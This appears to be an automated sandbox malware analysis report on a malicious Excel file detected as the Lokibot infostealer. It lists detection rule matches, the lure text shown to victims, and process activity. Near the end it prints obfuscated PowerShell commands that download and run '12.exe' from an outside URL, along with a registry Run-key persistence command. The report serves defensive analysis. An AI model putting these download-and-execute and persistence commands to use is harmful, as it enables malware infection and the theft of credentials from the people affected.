Source: 0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 17.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 17.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 17.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 17.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 19.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 19.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 19.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 19.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Document image extraction number: 0	Screenshot OCR: Enable Editing" from the yellow bar and then click "Enable Content"
Source: Document image extraction number: 0	Screenshot OCR: document is protected! To view this content, please click "Enable Editing" from the yellow bar and
Source: Document image extraction number: 0	Screenshot OCR: Enable Content"
Source: Document image extraction number: 1	Screenshot OCR: Enable Editing" from the yellow bar and then click "Enable Content"
Source: Document image extraction number: 1	Screenshot OCR: document is protected! To view this content, please click "Enable Editing" from the yellow bar and
Source: Document image extraction number: 1	Screenshot OCR: Enable Content"

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: 6Cprm97UTl.xls

Initial sample: EXEC

Found abnormal large hidden Excel 4.0 Macro sheet

Show sources

Source: 6Cprm97UTl.xls

Initial sample: Sheet size: 5194

Found obfuscated Excel 4.0 Macro

Show sources

Source: 6Cprm97UTl.xls

Initial sample: High usage of CHAR() function: 16

Powershell drops PE file

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Documents\12.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\12.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\user\ntrwe.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Memory allocated: 76D20000 page execute and read and write

Source: C:\Users\user\ntrwe.exe

Code function: 15_2_009D5BC0 CreateProcessAsUserW,

15_2_009D5BC0

Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_003130D1	11_2_003130D1
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_00318D20	11_2_00318D20
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_003169B0	11_2_003169B0
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_00318240	11_2_00318240
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_00314EF1	11_2_00314EF1
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_0031D3B8	11_2_0031D3B8
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_003197C2	11_2_003197C2
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_00313BC9	11_2_00313BC9
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_00318D10	11_2_00318D10
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_0031DEC8	11_2_0031DEC8
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_0031D3A8	11_2_0031D3A8
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_005030D1	15_2_005030D1
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_0050D090	15_2_0050D090
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_005069B0	15_2_005069B0
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_0050EBD0	15_2_0050EBD0
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_00503BC9	15_2_00503BC9
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_00508D20	15_2_00508D20
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_00508520	15_2_00508520
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_0050F5B8	15_2_0050F5B8
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_00504EF1	15_2_00504EF1
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_005097C2	15_2_005097C2
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_0050D080	15_2_0050D080
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_00508D10	15_2_00508D10
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D24E8	15_2_009D24E8
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D2C18	15_2_009D2C18
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D0A28	15_2_009D0A28
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D4A20	15_2_009D4A20
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D7312	15_2_009D7312
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D5490	15_2_009D5490
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D24D8	15_2_009D24D8
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D0A18	15_2_009D0A18
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D2C08	15_2_009D2C08
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D3D80	15_2_009D3D80
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D61C8	15_2_009D61C8
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D41F8	15_2_009D41F8
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D41E8	15_2_009D41E8
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_009D7F40	15_2_009D7F40
Source: C:\Users\user\ntrwe.exe	Code function: 16_2_004930D1	16_2_004930D1
Source: C:\Users\user\ntrwe.exe	Code function: 16_2_004969B0	16_2_004969B0
Source: C:\Users\user\ntrwe.exe	Code function: 16_2_00494EF1	16_2_00494EF1
Source: C:\Users\user\ntrwe.exe	Code function: 16_2_00493BC9	16_2_00493BC9
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Code function: 17_2_00253DFE	17_2_00253DFE
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Code function: 17_2_0040549C	17_2_0040549C
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Code function: 17_2_004029D4	17_2_004029D4
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_004030D1	18_2_004030D1
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_0040D090	18_2_0040D090
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_004069B0	18_2_004069B0
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00403BC9	18_2_00403BC9
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00408515	18_2_00408515
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00408D20	18_2_00408D20
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00404EF1	18_2_00404EF1
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_004097C2	18_2_004097C2
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_0040D080	18_2_0040D080
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_0040DBA0	18_2_0040DBA0
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00408D10	18_2_00408D10
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D40048	18_2_00D40048
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D43818	18_2_00D43818
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D45DA0	18_2_00D45DA0
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D41D58	18_2_00D41D58
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D48640	18_2_00D48640
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D40A30	18_2_00D40A30
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D43F48	18_2_00D43F48
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D474F8	18_2_00D474F8
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D450B0	18_2_00D450B0
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D40006	18_2_00D40006
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D43808	18_2_00D43808
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D46838	18_2_00D46838
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D41D49	18_2_00D41D49
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D45517	18_2_00D45517
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D45528	18_2_00D45528
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D49270	18_2_00D49270
Source: C:\Users\user\ntrwe.exe	Code function: 18_2_00D43F39	18_2_00D43F39
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Code function: 19_2_01233DFE	19_2_01233DFE

Source: 6Cprm97UTl.xls

OLE indicator, VBA macros: true

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\RegAsm.exe 5FF87E563B2DF09E94E17C82741D9A43AED2F214643DC067232916FAE4B35417

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Code function: String function: 00405B6F appears 42 times

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Jump to behavior

Source: unknown

Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /f /v 'jfdts' /t REG_SZ /d 'C:\Users\user\ntrwe.exe'

Source: 0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 17.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 17.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 17.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 17.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 19.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score =
Source: 19.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 19.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 19.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 19.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research

Source: ntrwe.exe.11.dr, i5Y/Wm2.cs	Cryptographic APIs: 'CreateDecryptor'
Source: ntrwe.exe.11.dr, Fe1/Fy1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 11.0.12.exe.12a0000.0.unpack, Fe1/Fy1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 11.0.12.exe.12a0000.0.unpack, i5Y/Wm2.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 11.2.12.exe.12a0000.3.unpack, i5Y/Wm2.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 11.2.12.exe.12a0000.3.unpack, Fe1/Fy1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 15.0.ntrwe.exe.e90000.0.unpack, i5Y/Wm2.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.0.ntrwe.exe.e90000.0.unpack, Fe1/Fy1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 15.2.ntrwe.exe.e90000.4.unpack, i5Y/Wm2.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.ntrwe.exe.e90000.4.unpack, Fe1/Fy1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 16.0.ntrwe.exe.e90000.0.unpack, i5Y/Wm2.cs	Cryptographic APIs: 'CreateDecryptor'

Source: powershell.exe, 00000006.00000002.2103852429.000000001CD80000.00000002.00000001.sdmp, 12.exe, 0000000B.00000002.2187386267.0000000008780000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.spyw.expl.evad.winXLS@27/18@2/3

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe

Code function: 17_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

17_2_0040650A

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe

Code function: 17_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

17_2_0040434D

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\B5DE0000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\DE4229FCF97F5879F50F8FD3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRCF6F.tmp

Jump to behavior

Source: 6Cprm97UTl.xls

OLE indicator, Workbook stream: true

Source: C:\Windows\SysWOW64\reg.exe

Console Write: ................................T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y.........X.......N.......p...............

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\12.exe C:\Users\user\AppData\Local\Temp\12.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe 'cmd.exe' /c REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /f /v 'jfdts' /t REG_SZ /d 'C:\Users\user\ntrwe.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /f /v 'jfdts' /t REG_SZ /d 'C:\Users\user\ntrwe.exe'
Source: unknown	Process created: C:\Users\user\ntrwe.exe 'C:\Users\user\ntrwe.exe'
Source: unknown	Process created: C:\Users\user\ntrwe.exe 'C:\Users\user\ntrwe.exe'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\RegAsm.exe C:\Users\user\AppData\Local\Temp\RegAsm.exe
Source: unknown	Process created: C:\Users\user\ntrwe.exe 'C:\Users\user\ntrwe.exe'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\RegAsm.exe C:\Users\user\AppData\Local\Temp\RegAsm.exe
